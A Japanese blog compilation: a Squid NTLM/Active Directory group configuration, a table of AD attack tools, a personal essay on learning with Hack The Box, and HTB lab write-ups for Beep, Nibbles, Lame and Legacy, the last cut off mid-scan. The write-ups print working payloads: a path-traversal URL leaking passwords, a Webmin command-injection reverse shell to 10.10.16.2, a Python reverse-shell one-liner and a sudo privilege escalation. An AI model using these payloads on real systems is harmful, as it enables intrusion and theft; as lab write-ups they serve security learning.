【Squid】NTLM認証でのADグループのアクセス制御

/etc/squid/squid.conf

# NTLM認証を有効化
auth_param ntlm program /usr/bin/ntlm_auth --helper-protocol=squid-2.5-ntlmssp --DOMAIN=ドメイン名を入力
auth_param ntlm children 100
auth_param ntlm keep_alive on

external_acl_type Grupos_AD ttl=10 negative_ttl=10 children-max=100 %LOGIN /usr/lib64/squid/ext_wbinfo_group_acl -d
acl 任意の名前を入力 external Grupos_AD ADのグループを入力
acl auth proxy_auth REQUIRED

http_access deny !auth
http_access deny !上記で入力した任意の名前を入力

以上。

Window Enumeration Tools

Tools

Tool Name Description(説明)
PowerView/SharpView ADの状態を把握するためのツール。BloodHoundが行うデータの多くを収集するのに役に立つ。net*コマンドの代わりとして使用できたりもする。
BloodHound ADの関係を可視化するツール。
SharpHound ユーザ、グループ、コンピュータ、ACLGPO、ユーザおよびコンピュータの属性、ユーザセッションなど様々なADのオブジェクトに関する情報をADから収集するツール。BloodHoundに取り込むためのJsonファイルを生成できる。
BloodHound.py ほとんどのBloodHound収集方法をサポートしている。また、ドメイン委参加していない攻撃ホストから実行ができる。出力は分析のためにBloodHoundに取り込むことが出来る。
Kerbrute GO言語で書かれたツール。Kerberosの事前認証を使ってActiveDirectoryのアカウントを列挙して、パスワードのブルートフォースを実行する。
Impacket toolkit ネットワークプロトコルを操作するためのツールコレクション。ActiveDirectoryを列挙して実行するための様々なスクリプトが含まれる。
Responder Responderは、LLMNR、NBT-NS、MDNSをポイズニングするための専用ツール。
Inveigh.ps1 ネットワークスプーフィングやポイズニング攻撃を実行するためのPowershellツール
C# Inveigh (InveighZero) InveighのC#バージョンは、ユーザー名やパスワードのハッシュのようなキャプチャされたデータを操作するための半インタラクティブコンソールを備えています。
rpcinfo RCPプログラムの状態を問い合わせたり、リモートホスト上で利用可能なRCPサービスのリストを列挙したりするために使用する。※権限に注意
rpcclient リモートRPCサービス経由でADの様々な列挙タスクを実行するのに使用される。
CrackMapExec (CME) 列挙、攻撃、ポストエクスプロイトツールキット。列挙ヤ収集したデータによる攻撃の実行に役立つ。SMB、WMI、WinRM、MSSQL、ビルドインAD機能とプロトコルを悪用する。|
Rubeus Kerberos Abuse(Kerberosを悪用するための手法の名前)のために作られたC#ツールである。
GetUserSPNs.py 一般ユーザに紐づくサービスプリンシパル名を検索できる。
ldapsearch LDAPプロトコルと対話するために組み込みインターフェース。
windapsearch LDAPクエリを使用してADユーザ、グループ、コンピュータを列挙するツール。か明日たむLDAPクエリを自動化するに便利。
DomainPasswordSpray.ps1 ドメインユーザに対してパスワードスプレーを行うためのツール。
LAPSToolkit Powerviewを利用して、MicrosoftのLAPS(Local Administration Password Solution)が導入されているAD環境を監査、攻撃する。
psexec.py 半対話型シェルの形でPsexecのような機能を提供してくれる。
wmiexec.py WMI上でのコマンド実行機能を提供する。
Snaffler アクセス可能なファイル共有があるコンピュータで、Active Directory内の情報(認証情報など)を見つけるのに便利。
setspn.exe) ADサービスアカウントのService Principal Names(SPN)ディレクトリプロパティの追加、読み取り、変更、削除を行う。
Mimikatz 多くの機能を実行する。特に、パスザハッシュ攻撃、平文パスワードの抽出、ホスト上のメモリからのKerberosチケットの抽出。
secretsdump.py ホストからSAMとLSAシークレットをリモートダンプする。
evil-winrm WinRMプロトコルでホスト上の対話型シェルを提供する。
mssqlclient.py MSSQLデータベースとやりとりする機能
noPac.py CVE-2021-42278とCVE-2021-42287を使用して、標準ドメインユーザーからDAになりすます。
rpcdump.py RPCエンドポイントマッパー。
CVE-2021-1675.py PythonのPrintnightmare PoC。
ntlmrelayx.py SMBリレー攻撃を実行する。
PetitPotam.py MS-EFSRPC EfsRpcOpenFileRaw またはその他の関数を介して、Windows ホストに他のマシンへの認証を強要する CVE-2021-36942 用の PoC ツールです。
gettgtpkinit.py 証明書やTGTを操作するためのツール。
getnthash.py このツールは、既存のTGTを使用して、U2Uを使用して現在のユーザーのPACを要求する。
adidnsdump ドメインからDNSレコードを列挙してダンプするツール。DNSゾーン転送の実行に似ている。
gpp-decrypt グループポリシーの環境設定ファイルからユーザー名とパスワードを抽出します。
GetNPUsers.py Impacket ツールキットの一部。ASREPRoasting攻撃を実行し、「Do not require Kerberos preauthentication(Kerberosの事前認証を必要としない)」が設定されているユーザーのAS-REPハッシュをリストアップして取得するために使用される。これらのハッシュを Hashcat などのツールに送り込み、オフラインでパスワード・クラッキングを試みる。
lookupsid.py SIDブルートフォースツール。
ticketer.py TGT/TGSチケットの作成・カスタマイズツール。ゴールデンチケットの作成、子から親へのトラストアタックなどに使用できます。
raiseChild.py Impacketツールキットの一部で、子ドメインから親ドメインへの権限昇格を自動化するツールです。
Active Directory Explorer Active Directory Explorer(ADエクスプローラ)は、ADビューアおよびエディタです。ADデータベースをナビゲートし、オブジェクトのプロパティや属性を表示するために使用できる。また、オフライン分析用にADデータベースのスナップショットを保存することもできます。AD スナップショットをロードすると、データベースのライブバージョンとして調査できます。また、2 つの AD データベースのスナップショットを比較して、オブジェクト、属性、およびセキュリティ許可の変更を確認するために使用することもできます。
PingCastle リスクアセスメントと成熟度フレームワーク(AD セキュリティに適合した CMMI に基づく)に基づいて、AD 環境のセキュリティレベルを監査するために使用される。
Group3r Group3rは、ADグループポリシーオブジェクト(GPO)の監査とセキュリティの設定ミスの発見に役立つ。
ADRecon 対象となるAD環境からさまざまなデータを抽出するためのツール。データは Microsoft Excel 形式で出力され、サマリー・ビューや分析により、環境の全体的なセキュリティ状態を把握することができる。

HTBのEazyレベルが何とか解けるくらいになるまで

▼期間

1年くらいで行けた。(ただし面倒くさい系の問題はかなり苦戦するもしくは、解けないのもある)

 

▼仕事

私はインフラエンジニアでVMwareのESXiとvCSAの設計構築とWindowsも設計構築、Linuxは構築~運用をしたことがあるレベル。

※基本操作は覚えた位でセキュリティに役立ったかと言われるとそこまで役に立った感はない。

 

▼生い立ち

初めてセキュリティに触れたのはCpawCTF(多分4年前)だった。

VMの立て方すら知らない状態からのスタートだったので、全部最初は答えを見てた。

基礎を固めようと思い基本情報技術者CCNAなどを勉強したが3日坊主で終わる。

それからは、黒い砂漠などのオンラインゲームで遊び、勉強は全く持ってやっていなかった。(現場の稼働もかなりやばく疲れていたのもあったが)

 

ただ今思うと現場で生かせるような勉強方法してなかったため、やる気が起きなかったんだろーなと思う。

 

そこから黒い砂漠で知り合った女の子(Fカップ少女)と別れ、今後について真剣に考えるきっかけになった。

 

そこから新卒で入った会社を1年ちょいでやめ、人の会社で代表を務めた。

これも1年くらいで代表を辞任して、自分で会社を立ち上げた。(これが2年前)

で、自分で会社を立ち上げ本格的にセキュリティの勉強を始めた。

 

▼やったこと

1.TryHackMeをやり始めた。(1日2時間くらい勉強をしていた。)

    ・TryHackMeでは以下の順番で勉強をした。(多分半年くらい?)

        ・Complete Beginner

        ・Jr Penetration Tester

        ・Web Fundamentals

     勉強の方法として効率は悪いと思うがマジで2周か3周した。

 

ここでの教訓。

1.テキストをやったとしてもHTBが解けるわけではない。(やってよかったとは思ってる、多分やってないと答えを見ながら解いても理解すらできなかったと思うから)

2.紙のノートにメモを取ったり、パソコンでエディタを使ってメモを取っていたが、そんなことをするくらいならCheatSheet作れや。。。馬鹿かお前

 

2.HTBで問題を解く。

リタイアマシンから説くのがいいと思う。

ちなみに以下のようなものではなく。

こういう問題から説いていこう

以下の様にHTBで設定して一番後ろのページが簡単なBOXになる。

 

▼心構え

1.セキュリティは忍耐力。

これは問題を忍耐強く解けという意味ではない。

答えを見ながら説いて手法や意図を学ぶことを指している。

もちろん答えを見ずに忍耐力をもって考え続けることも必要だが、1年くらいはの人には逆に効率が悪くなりそうなので答えを見た方がいいと思う。

2.継続こそが正義。

正直勉強をしていて何回も自分の才能のなさを実感して、やめたくなったりイライラしたりしていた。

答えを見ても答え通りにできないときもあったりして。。。本当に心がへし折られる。。。

3.昨日の自分に勝てればそれでいい。

昨日までの自分が理解できないor知らない部分を一つでも理解or知るが出来たらそれでよしとする。

4.休憩

悩んだとき集中できないときは散歩に行く。

 

▼1年前の自分と今の自分の違い

1年前上記のマシン(私が把握している中でHTBで一番簡単なマシン)すら解けなかったが、1年後やってみたら(どうやって説いたか記憶にない状態)解けた。

他にもいくつかのマシンをやったがちゃんと解けた。

そこでやっと自分の成長に気づきActiveマシンをやったところEasyはすべて解け無事Hackerランクまで行けた。

 

▼まとめ

半年後に答えを見て説いたマシンを解き直してみるといいと思う。

自分の成長を感じられると思う。

本当に忍耐力とあきらめない気持ちと楽しんでやることが大切だと思う。

 

▼参考程度に

・CheatSheetとは

以下のようなものを指す。

コマンドのオプションなんて全部覚えてられないw

私はHackMDを使用しているが、CherryTreeを使ってもいいし、メモ帳でもいい。

 

・モチベーションキープ&学習方法疑問が出たときに使用したもの。

   ・IPPSecのインタビュー記事

       https://www.hackthebox.com/blog/Interview-with-Ippsec

  ・ペンテスターの生活動画

     https://www.youtube.com/watch?v=_NVxgQdA45g

     https://www.youtube.com/watch?v=_U3ePBHvfJg&t=3s

     https://www.youtube.com/watch?v=VxRX2u0Bk2g&t=196s

・映画

    1.持たざるものが全てを奪う。

       https://eiga.com/movie/86110/

    2.Mr.Robot

       http://mrrobot-tv.jp/special/column/

       

以上

PS.最後まで真面目にこんなのを読むもの好きはいないと思うが、誤字脱字があったら教えてね。(バグバウンティみたいに報奨金は出ません。)

【HTB】Beep(Easy)

大まかに

  1. Nmap
  2. Search exploit
  3. Directory Traversal
  4. Reverse Shell

Nmap

 22/tcp ssh 4.3
25/tcp smtp 
80/tcp http 2.2.3
110/tcp pop3 2.3.7-Invoca-RPM-2.3.7-7.el5_6.4
111/tcp rpcbind #100000)
143/tcp imap 2.3.7-Invoca-RPM-2.3.7-7.el5_6.4
443/tcp ssl/http 2.2.3
878/tcp status #100024)
993/tcp ssl/imap 
995/tcp pop3 
3306/tcp mysql 
4190/tcp sieve 2.3.7-Invoca-RPM-2.3.7-7.el5_6.4
4445/tcp upnotifyp? 
4559/tcp HylaFAX 4.3.10
5038/tcp Asterisk Call Manager 1.1
10000/tcp http MiniServ 1.570 (Webmin httpd)

▼それぞれのWebアプリ - https://10.10.10.7/ Elastix

Search Sploit

  • Elastix
Elastix - 'page' Cross-Site Scripting         | php/webapps/38078.py
Elastix - Multiple Cross-Site Scripting Vulne | php/webapps/38544.txt
Elastix 2.0.2 - Multiple Cross-Site Scripting | php/webapps/34942.txt
Elastix 2.2.0 - 'graph.php' Local File Inclus | php/webapps/37637.pl
Elastix 2.x - Blind SQL Injection             | php/webapps/36305.txt
Elastix < 2.5 - PHP Code Injection            | php/webapps/38091.php
  • php/webapps/38091.php これをやってみたがダメだった。 ここに書いてあるコードを読んで以下を実施したところファイル閲覧ができた。
https://10.10.10.7/vtigercrm/phprint.php?action=fa&module=ff&lang_crm=../../../../../../etc/elastix.conf%00
▼結果
mysqlrootpwd=jEhdIekWmdjE
cyrususerpwd=jEhdIekWmdjE
amiadminpwd=jEhdIekWmdjE
  • このパスワードを利用してWebminにログインして以下のPayloadを実行
https://10.10.10.7:10000/file/show.cgi/bin/aaabbbcccc%7C/bin/bash%20i%20%3E&%20/dev/tcp/10.10.16.2/4444%200%3E&1%7C

この際に4444でポートリッスン

# nc -lnvp 4444

【HTB】Nibbles(Easy)

大まかに

  1. Nmap
  2. Dirb
  3. ブラウザーの開発者ツール
  4. Web Shell配置
  5. Reverse shell
  6. root esc

Nmap

# sudo nmap -sC -sV -O -T4 -p- -vv -oN nmap-tcp.log 10.10.10.75
  • 実行結果
PORT   STATE SERVICE REASON         VERSION
22/tcp open  ssh     syn-ack ttl 63 OpenSSH 7.2p2 Ubuntu 4ubuntu2.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 c4f8ade8f80477decf150d630a187e49 (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQD8ArTOHWzqhwcyAZWc2CmxfLmVVTwfLZf0zhCBREGCpS2WC3NhAKQ2zefCHCU8XTC8hY9ta5ocU+p7S52OGHlaG7HuA5Xlnihl1INNsMX7gpNcfQEYnyby+hjHWPLo4++fAyO/lB8NammyA13MzvJy8pxvB9gmCJhVPaFzG5yX6Ly8OIsvVDk+qVa5eLCIua1E7WGACUlmkEGljDvzOaBdogMQZ8TGBTqNZbShnFH1WsUxBtJNRtYfeeGjztKTQqqj4WD5atU8dqV/iwmTylpE7wdHZ+38ckuYL9dmUPLh4Li2ZgdY6XniVOBGthY5a2uJ2OFp2xe1WS9KvbYjJ/tH
|   256 228fb197bf0f1708fc7e2c8fe9773a48 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBPiFJd2F35NPKIQxKMHrgPzVzoNHOJtTtM+zlwVfxzvcXPFFuQrOL7X6Mi9YQF9QRVJpwtmV9KAtWltmk3qm4oc=
|   256 e6ac27a3b5a9f1123c34a55d5beb3de9 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIC/RjKhT/2YPlCgFQLx+gOXhC6W3A3raTzjlXQMT8Msk
80/tcp open  http    syn-ack ttl 63 Apache httpd 2.4.18 ((Ubuntu))
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-title: Site doesn't have a title (text/html).
|_http-server-header: Apache/2.4.18 (Ubuntu)
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
TCP/IP fingerprint:
OS:SCAN(V=7.93%E=4%D=5/16%OT=22%CT=1%CU=33679%PV=Y%DS=2%DC=I%G=Y%TM=64630A7
OS:4%P=x86_64-pc-linux-gnu)SEQ(SP=F4%GCD=1%ISR=10E%TI=Z%CI=I%II=I%TS=8)SEQ(
OS:SP=F3%GCD=1%ISR=10E%TI=Z%CI=I%TS=8)SEQ(SP=FF%GCD=1%ISR=10C%TI=Z%TS=8)OPS
OS:(O1=M53AST11NW7%O2=M53AST11NW7%O3=M53ANNT11NW7%O4=M53AST11NW7%O5=M53AST1
OS:1NW7%O6=M53AST11)WIN(W1=7120%W2=7120%W3=7120%W4=7120%W5=7120%W6=7120)ECN
OS:(R=Y%DF=Y%T=40%W=7210%O=M53ANNSNW7%CC=Y%Q=)T1(R=Y%DF=Y%T=40%S=O%A=S+%F=A
OS:S%RD=0%Q=)T2(R=N)T3(R=N)T4(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T5(R
OS:=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F
OS:=R%O=%RD=0%Q=)T7(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)U1(R=Y%DF=N%
OS:T=40%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=N%T=40%CD
OS:=S)

Dirb

# feroxbuster -k -u http://10.10.10.75/ -w /usr/share/wordlists/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -o ferox_medium.log

特に見つからなかった。

ブラウザーの開発者ツール

  • /nibbleblogを発見

  • アクセスしてみる。 URLからCMSっぽいな~とこの時思った。

  • wordpressみたいなadminページみたいなのがないかを探した。 /adminで調べたところWebページを構成しているディレクトリを見つけた。

  • adminで検索をかけた際にディレクトリが表示されてしまうということは.phpまでつけなければいけないのかと思いやってみたところ、その通りだった。

  • hydraで認証バイパスを試したところ数回施行された後に接続が遮断された。 ということは手動で行わなければならないということか。と思い、デフォルトクレデンシャルをGoogleで調べた。

  • 以下のGitに記載のある資格情報で試したところうまくいった。 ※その前にテキストで一通りのパスワードリストを使いやってみたがダメだった。

github.com

  • CMSログイン これを行う前に今回使用されているCMSでExploitを探していたがバージョンがわからずできなかった。 なのでここでCMSのバージョン特定をしようと試みた。

  • 以下のURLでバージョンの特定ができた。

http://10.10.10.75/nibbleblog/admin.php?controller=settings&action=general

Web shell配置

以下のGitのリポジトリにあるpythonコードで行った。

github.com

  • エクスプロイトをダウンロードする。
# git clone https://github.com/0xkasra/CVE-2015-6967.git
  • エクスプロイトを実行
# python exploit.py http://10.10.10.75 admin nibbles

Reverse shell

以下の様に自分のマシンではnc -lnvp 4444でリッスンし、Web shellでは以下のコマンド入力する。

# export RHOST="10.10.16.10";export RPORT=4444;python3 -c 'import sys,socket,os,pty;s=socket.socket();s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("/bin/bash")'

root Esc

# sudo -l
▼実行結果
<ml/nibbleblog/content/private/plugins/my_image$ sudo -l                     
Matching Defaults entries for nibbler on Nibbles:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User nibbler may run the following commands on Nibbles:
    (root) NOPASSWD: /home/nibbler/personal/stuff/monitor.sh
  • 以下のコマンドでrootへ
# mkdir -p /home/nibbler/personal/stuff/
# cd /home/nibbler/personal/stuff/
# echo '/bin/bash -p' > ./monitor.sh
# chmod +x ./monitor.sh
# sudo ./monitor.sh

以上

【HTB】Lame(Easy)

大まかに

  1. Nmap
  2. Google Search
  3. Metasploit
  4. User Flag & Root Flag

Nmap

# sudo nmap -sC -sV -O -T4 -p- -vv -oN nmap-tcp.log 10.10.10.3

▼実行結果

PORT     STATE SERVICE     REASON         VERSION
21/tcp   open  ftp         syn-ack ttl 63 vsftpd 2.3.4
| ftp-syst: 
|   STAT: 
| FTP server status:
|      Connected to 10.10.16.2
|      Logged in as ftp
|      TYPE: ASCII
|      No session bandwidth limit
|      Session timeout in seconds is 300
|      Control connection is plain text
|      Data connections will be plain text
|      vsFTPd 2.3.4 - secure, fast, stable
|_End of status
|_ftp-anon: Anonymous FTP login allowed (FTP code 230)
22/tcp   open  ssh         syn-ack ttl 63 OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
| ssh-hostkey: 
|   1024 600fcfe1c05f6a74d69024fac4d56ccd (DSA)
| ssh-dss AAAAB3NzaC1kc3MAAACBALz4hsc8a2Srq4nlW960qV8xwBG0JC+jI7fWxm5METIJH4tKr/xUTwsTYEYnaZLzcOiy21D3ZvOwYb6AA3765zdgCd2Tgand7F0YD5UtXG7b7fbz99chReivL0SIWEG/E96Ai+pqYMP2WD5KaOJwSIXSUajnU5oWmY5x85sBw+XDAAAAFQDFkMpmdFQTF+oRqaoSNVU7Z+hjSwAAAIBCQxNKzi1TyP+QJIFa3M0oLqCVWI0We/ARtXrzpBOJ/dt0hTJXCeYisKqcdwdtyIn8OUCOyrIjqNuA2QW217oQ6wXpbFh+5AQm8Hl3b6C6o8lX3Ptw+Y4dp0lzfWHwZ/jzHwtuaDQaok7u1f971lEazeJLqfiWrAzoklqSWyDQJAAAAIA1lAD3xWYkeIeHv/R3P9i+XaoI7imFkMuYXCDTq843YU6Td+0mWpllCqAWUV/CQamGgQLtYy5S0ueoks01MoKdOMMhKVwqdr08nvCBdNKjIEd3gH6oBk/YRnjzxlEAYBsvCmM4a0jmhz0oNiRWlc/F+bkUeFKrBx/D2fdfZmhrGg==
|   2048 5656240f211ddea72bae61b1243de8f3 (RSA)
|_ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAstqnuFMBOZvO3WTEjP4TUdjgWkIVNdTq6kboEDjteOfc65TlI7sRvQBwqAhQjeeyyIk8T55gMDkOD0akSlSXvLDcmcdYfxeIF0ZSuT+nkRhij7XSSA/Oc5QSk3sJ/SInfb78e3anbRHpmkJcVgETJ5WhKObUNf1AKZW++4Xlc63M4KI5cjvMMIPEVOyR3AKmI78Fo3HJjYucg87JjLeC66I7+dlEYX6zT8i1XYwa/L1vZ3qSJISGVu8kRPikMv/cNSvki4j+qDYyZ2E5497W87+Ed46/8P42LNGoOV8OcX/ro6pAcbEPUdUEfkJrqi2YXbhvwIJ0gFMb6wfe5cnQew==
139/tcp  open  netbios-ssn syn-ack ttl 63 Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp  open  netbios-ssn syn-ack ttl 63 Samba smbd 3.0.20-Debian (workgroup: WORKGROUP)
3632/tcp open  distccd     syn-ack ttl 63 distccd v1 ((GNU) 4.2.4 (Ubuntu 4.2.4-1ubuntu4))
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
OS fingerprint not ideal because: Missing a closed TCP port so results incomplete
Aggressive OS guesses: DD-WRT v24-sp1 (Linux 2.4.36) (92%), OpenWrt White Russian 0.9 (Linux 2.4.30) (92%), Linux 2.6.23 (92%), Belkin N300 WAP (Linux 2.6.30) (92%), Control4 HC-300 home controller (92%), D-Link DAP-1522 WAP, or Xerox WorkCentre Pro 245 or 6556 printer (92%), Dell Integrated Remote Access Controller (iDRAC5) (92%), Dell Integrated Remote Access Controller (iDRAC6) (92%), Linksys WET54GS5 WAP, Tranzeo TR-CPQ-19f WAP, or Xerox WorkCentre Pro 265 printer (92%), Linux 2.4.21 - 2.4.31 (likely embedded) (92%)
No exact OS matches for host (test conditions non-ideal).
TCP/IP fingerprint:
SCAN(V=7.93%E=4%D=5/14%OT=21%CT=%CU=%PV=Y%G=N%TM=6460B397%P=x86_64-pc-linux-gnu)
SEQ(SP=C7%GCD=1%ISR=CE%TI=Z%II=I%TS=7)
OPS(O1=M53AST11NW5%O2=M53AST11NW5%O3=M53ANNT11NW5%O4=M53AST11NW5%O5=M53AST11NW5%O6=M53AST11)
WIN(W1=16A0%W2=16A0%W3=16A0%W4=16A0%W5=16A0%W6=16A0)
ECN(R=Y%DF=Y%TG=40%W=16D0%O=M53ANNSNW5%CC=N%Q=)
T1(R=Y%DF=Y%TG=40%S=O%A=S+%F=AS%RD=0%Q=)
T2(R=N)
T3(R=N)
T4(R=Y%DF=Y%TG=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)
U1(R=N)
IE(R=Y%DFI=N%TG=40%CD=S)

Uptime guess: 0.006 days (since Sun May 14 06:02:20 2023)
TCP Sequence Prediction: Difficulty=204 (Good luck!)
IP ID Sequence Generation: All zeros
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Host script results:
|_clock-skew: mean: 2h00m22s, deviation: 2h49m43s, median: 21s
| p2p-conficker: 
|   Checking for Conficker.C or higher...
|   Check 1 (port 59488/tcp): CLEAN (Timeout)
|   Check 2 (port 50525/tcp): CLEAN (Timeout)
|   Check 3 (port 53941/udp): CLEAN (Timeout)
|   Check 4 (port 40169/udp): CLEAN (Timeout)
|_  0/4 checks are positive: Host is CLEAN or ports are blocked
| smb-os-discovery: 
|   OS: Unix (Samba 3.0.20-Debian)
|   Computer name: lame
|   NetBIOS computer name: 
|   Domain name: hackthebox.gr
|   FQDN: lame.hackthebox.gr
|_  System time: 2023-05-14T06:10:11-04:00
|_smb2-time: Protocol negotiation failed (SMB2)
| smb-security-mode: 
|   account_used: <blank>
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: disabled (dangerous, but default)
|_smb2-security-mode: Couldn't establish a SMBv2 connection.

Google Search

samba 3.0.20-Debianで検索をかけたところ以下のリンクを見つけた。

www.exploit-db.com

MetaSploit

# use exploit/multi/samba/usermap_script
  • 以下を設定
   Name    Current Setting  Required  Description
   ----    ---------------  --------  -----------
   RHOSTS  10.10.10.3       yes       The target host(s), see https://docs.met
                                      asploit.com/docs/using-metasploit/basics
                                      /using-metasploit.html
   RPORT   139              yes       The target port (TCP)


Payload options (cmd/unix/reverse_netcat):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST  10.10.16.10      yes       The listen address (an interface may be s
                                     pecified)
   LPORT  4444             yes       The listen port
  • 実行
# run
  • shellに切り替え
# shell
  • user確認
# whomai
root

以上

【HTB】Legacy(Easy)

大まかに

  1. Nmapスキャン
  2. Nmap Scriptを用いたスキャン
  3. Google Search
  4. MetaSploit
  5. Get System

1. Nmap Scan

# sudo nmap -sC -sV -O -T4 -p- -vv -oN nmap-tcp.log 10.10.10.4

# Nmap 7.93 scan initiated Fri May 12 00:52:11 2023 as: nmap -sC -sV -O -T4 -p- -vv -oN nmap-tcp.log 10.10.10.4
Increasing send delay for 10.10.10.4 from 0 to 5 due to 659 out of 1647 dropped probes since last increase.
Increasing send delay for 10.10.10.4 from 5 to 10 due to 11 out of 19 dropped probes since last increase.
Nmap scan report for 10.10.10.4
Host is up, received echo-reply ttl 127 (0.56s latency).
Scanned at 2023-05-12 00:52:11 EDT for 1998s
Not shown: 65532 closed tcp ports (reset)
PORT    STATE SERVICE      REASON          VERSION
135/tcp open  msrpc        syn-ack ttl 127 Microsoft Windows RPC
139/tcp open  netbios-ssn  syn-ack ttl 127 Microsoft Windows netbios-ssn
445/tcp open  microsoft-ds syn-ack ttl 127 Windows XP microsoft-ds
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
TCP/IP fingerprint:
OS:SCAN(V=7.93%E=4%D=5/12%OT=135%CT=1%CU=42068%PV=Y%DS=2%DC=I%G=Y%TM=645DCD
OS:C9%P=x86_64-pc-linux-gnu)SEQ(SP=102%GCD=1%ISR=10A%TI=I%CI=I%II=I%SS=S%TS
OS:=0)OPS(O1=M53ANW0NNT00NNS%O2=M53ANW0NNT00NNS%O3=M53ANW0NNT00%O4=M53ANW0N
OS:NT00NNS%O5=M53ANW0NNT00NNS%O6=M53ANNT00NNS)WIN(W1=FAF0%W2=FAF0%W3=FAF0%W
OS:4=FAF0%W5=FAF0%W6=FAF0)ECN(R=Y%DF=Y%T=80%W=FAF0%O=M53ANW0NNS%CC=N%Q=)T1(
OS:R=Y%DF=Y%T=80%S=O%A=S+%F=AS%RD=0%Q=)T2(R=Y%DF=N%T=80%W=0%S=Z%A=S%F=AR%O=
OS:%RD=0%Q=)T3(R=Y%DF=Y%T=80%W=FAF0%S=O%A=S+%F=AS%O=M53ANW0NNT00NNS%RD=0%Q=
OS:)T4(R=Y%DF=N%T=80%W=0%S=A%A=O%F=R%O=%RD=0%Q=)T5(R=Y%DF=N%T=80%W=0%S=Z%A=
OS:S+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=N%T=80%W=0%S=A%A=O%F=R%O=%RD=0%Q=)T7(R=Y%DF
OS:=N%T=80%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)U1(R=Y%DF=N%T=80%IPL=B0%UN=0%RIPL=G
OS:%RID=G%RIPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=S%T=80%CD=Z)

Network Distance: 2 hops
TCP Sequence Prediction: Difficulty=258 (Good luck!)
IP ID Sequence Generation: Incremental
Service Info: OSs: Windows, Windows XP; CPE: cpe:/o:microsoft:windows, cpe:/o:microsoft:windows_xp

Host script results:
|_clock-skew: mean: 5d00h28m19s, deviation: 2h07m16s, median: 4d22h58m19s
|_smb2-time: Protocol negotiation failed (SMB2)
|_smb2-security-mode: Couldn't establish a SMBv2 connection.
| nbstat: NetBIOS name: LEGACY, NetBIOS user: <unknown>, NetBIOS MAC: 005056b93c06 (VMware)
| Names:
|   LEGACY<00>           Flags: <unique><active>
|   HTB<00>              Flags: <group><active>
|   LEGACY<20>           Flags: <unique><active>
|   HTB<1e>              Flags: <group><active>
|   HTB<1d>              Flags: <unique><active>
|   \x01\x02__MSBROWSE__\x02<01>  Flags: <group><active>
| Statistics:
|   005056b93c060000000000000000000000
|   0000000000000000000000000000000000
|_  0000000000000000000000000000
| p2p-conficker: 
|   Checking for Conficker.C or higher...
|   Check 1 (port 40600/tcp): CLEAN (Couldn't connect)
|   Check 2 (port 60076/tcp): CLEAN (Couldn't connect)
|   Check 3 (port 50902/udp): CLEAN (Failed to receive data)
|   Check 4 (port 12744/udp): CLEAN (Failed to receive data)
|_  0/4 checks are positive: Host is CLEAN or ports are blocked
| smb-security-mode: 
|   account_used: guest
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: disabled (dangerous, but default)
| smb-os-discovery: 
|   OS: Windows XP (Windows 2000 LAN Manager)
|   OS CPE: cpe:/o:microsoft:windows_xp::-
|   Computer name: legacy
|   NetBIOS computer name: LEGACY\x00
|   Workgroup: HTB\x00
|_  System time: 2023-05-17T10:23:36+03:00

Read data files from: /usr/bin/../share/nmap
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Fri May 12 01:25:29 2023 -- 1 IP address (1 host up) scanned in 1999.01 seconds

2. Nmap Script Scan

# nmap -p 139,445 -vv -Pn --script=smb-vuln* 10.10.10.4 -oN nmap-smb_enum.log

# Nmap 7.93 scan initiated Fri May 12 01:17:20 2023 as: nmap -p 139,445 -vv -Pn --script=smb-vuln* -oN nmap-smb_enum.log 10.10.10.4
Nmap scan report for 10.10.10.4
Host is up, received user-set (0.60s latency).
Scanned at 2023-05-12 01:17:20 EDT for 16s

PORT    STATE SERVICE      REASON
139/tcp open  netbios-ssn  syn-ack
445/tcp open  microsoft-ds syn-ack

Host script results:
|_smb-vuln-ms10-054: false
| smb-vuln-ms08-067: 
|   VULNERABLE:
|   Microsoft Windows system vulnerable to remote code execution (MS08-067)
|     State: VULNERABLE
|     IDs:  CVE:CVE-2008-4250
|           The Server service in Microsoft Windows 2000 SP4, XP SP2 and SP3, Server 2003 SP1 and SP2,
|           Vista Gold and SP1, Server 2008, and 7 Pre-Beta allows remote attackers to execute arbitrary
|           code via a crafted RPC request that triggers the overflow during path canonicalization.
|           
|     Disclosure date: 2008-10-23
|     References:
|       https://technet.microsoft.com/en-us/library/security/ms08-067.aspx
|_      https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-4250
|_smb-vuln-ms10-061: ERROR: Script execution failed (use -d to debug)
| smb-vuln-ms17-010: 
|   VULNERABLE:
